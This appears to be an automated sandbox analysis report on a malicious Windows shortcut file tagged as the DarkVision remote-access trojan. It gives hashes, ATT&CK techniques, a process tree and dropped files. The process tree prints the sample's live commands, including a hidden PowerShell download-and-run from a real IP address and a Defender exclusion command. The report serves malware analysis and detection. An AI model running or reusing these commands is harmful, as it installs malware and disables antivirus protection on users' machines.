darkvision | b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-12-2024 02:42

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General

Target

b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d.lnk
Size

2KB
MD5

4dab3e7b78ccfc190b36eb728b6e74d0
SHA1

296f5169adbc438e4ec1610d46c0f451417b7b71
SHA256

b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d
SHA512

227e416b6f1f3e465d02da79c9683348d7e26c016fc7c9aa37b9e11189ecb351f0f9d992548182af6831b56e81f2301bd6169ba539aa203457b0823d27a11ee0

Score

10^/10

darkvision execution rat

Malware Config

Signatures

DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
628	powershell.exe
628	powershell.exe
4516	powershell.exe
4840	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorers.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorers.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{BE5C9BF3-0A41-4A6C-B6A8-511461B7BEF1}.lnk	explorer.exe

Executes dropped EXE 2 IoCs

pid	Process
3872	file.exe
4536	explorers.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
628	powershell.exe
628	powershell.exe
4516	powershell.exe
4516	powershell.exe
4840	powershell.exe
4840	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4536	explorers.exe
4536	explorers.exe
4536	explorers.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 628	1524	cmd.exe	84
PID 1524 wrote to memory of 628	1524	cmd.exe	84
PID 628 wrote to memory of 3872	628	powershell.exe	86
PID 628 wrote to memory of 3872	628	powershell.exe	86
PID 3872 wrote to memory of 3388	3872	file.exe	87
PID 3872 wrote to memory of 3388	3872	file.exe	87
PID 3872 wrote to memory of 4536	3872	file.exe	89
PID 3872 wrote to memory of 4536	3872	file.exe	89
PID 3388 wrote to memory of 4516	3388	cmd.exe	90
PID 3388 wrote to memory of 4516	3388	cmd.exe	90
PID 4536 wrote to memory of 2492	4536	explorers.exe	93
PID 4536 wrote to memory of 2492	4536	explorers.exe	93
PID 4536 wrote to memory of 1220	4536	explorers.exe	95
PID 4536 wrote to memory of 1220	4536	explorers.exe	95
PID 2492 wrote to memory of 4840	2492	cmd.exe	96
PID 2492 wrote to memory of 4840	2492	cmd.exe	96

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://87.120.113.91/image.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
  - - C:\ProgramData\explorers\explorers.exe
      "C:\ProgramData\explorers\explorers.exe" {8ACDE7F8-56B2-461C-B2DA-0AAADBA16242}
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4840
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        Checks BIOS information in registry
        Drops startup file
        
        PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
70595b5937369a2592a524db67e208d3

SHA1
d989b934d9388104189f365694e794835aa6f52f

SHA256
be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8

SHA512
edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fd9152fd0fab56908fe168af91a08303

SHA1
e4e64d449aaae4e5cda388fc492ff8ee0878af24

SHA256
a78dca0d470c353064c51dbe58a9bf408c188b65d44636759aace9011f5b482e

SHA512
c29093187dcc35ba79e20c11a00ad4063cb81bf7b0bc269f3aee66f583ebece5821cf1ac8748e49247a8eb0eccf4e47f5eb4c1f8577327d8a754a807d5a4aa16

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbqavwvl.quj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
4.1MB

MD5
a3a87410c13cc37b48a9d63d84798a26

SHA1
170685b36ce0c7ca791b80886e88f3955a707527

SHA256
bbb59f158a76d0b043c7d050bba4c4ad82b94d383f9db265119a24360d7279e4

SHA512
1e7071749d1e96674a6a802a6317e7f71350975516f0c75fe0d0f6d987ad5d6db91ff6cba43a8c03117ddaeccc2ac40e97f10f2cba20204a645e9369fb38b543

Download Submit
memory/628-2-0x00007FF8A8573000-0x00007FF8A8575000-memory.dmp

Filesize
8KB

Download
memory/628-12-0x0000022872DF0000-0x0000022872E12000-memory.dmp

Filesize
136KB

Download
memory/628-13-0x00007FF8A8570000-0x00007FF8A9031000-memory.dmp

Filesize
10.8MB

Download
memory/628-14-0x00007FF8A8570000-0x00007FF8A9031000-memory.dmp

Filesize
10.8MB

Download
memory/628-26-0x00007FF8A8570000-0x00007FF8A9031000-memory.dmp

Filesize
10.8MB

Download
memory/1220-74-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-63-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-66-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-64-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-62-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-60-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-57-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-68-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-77-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-76-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-73-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-81-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-82-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-95-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-46-0x00000000004F0000-0x00000000004F1000-memory.dmp

Filesize
4KB

Download
memory/1220-80-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-79-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-78-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-72-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-75-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-98-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-70-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-69-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-67-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-65-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-47-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-61-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-71-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-56-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-54-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-59-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-58-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/1220-55-0x00000000027F0000-0x0000000002C10000-memory.dmp

Filesize
4.1MB

Download
memory/3872-23-0x00007FF7E8850000-0x00007FF7E8C70000-memory.dmp

Filesize
4.1MB

Download
memory/3872-32-0x00007FF7E8850000-0x00007FF7E8C70000-memory.dmp

Filesize
4.1MB

Download
memory/4536-104-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-106-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-100-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-101-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-102-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-103-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-33-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-99-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-107-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-108-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-109-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-110-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-111-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-112-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download
memory/4536-113-0x00007FF7D5EB0000-0x00007FF7D62D0000-memory.dmp

Filesize
4.1MB

Download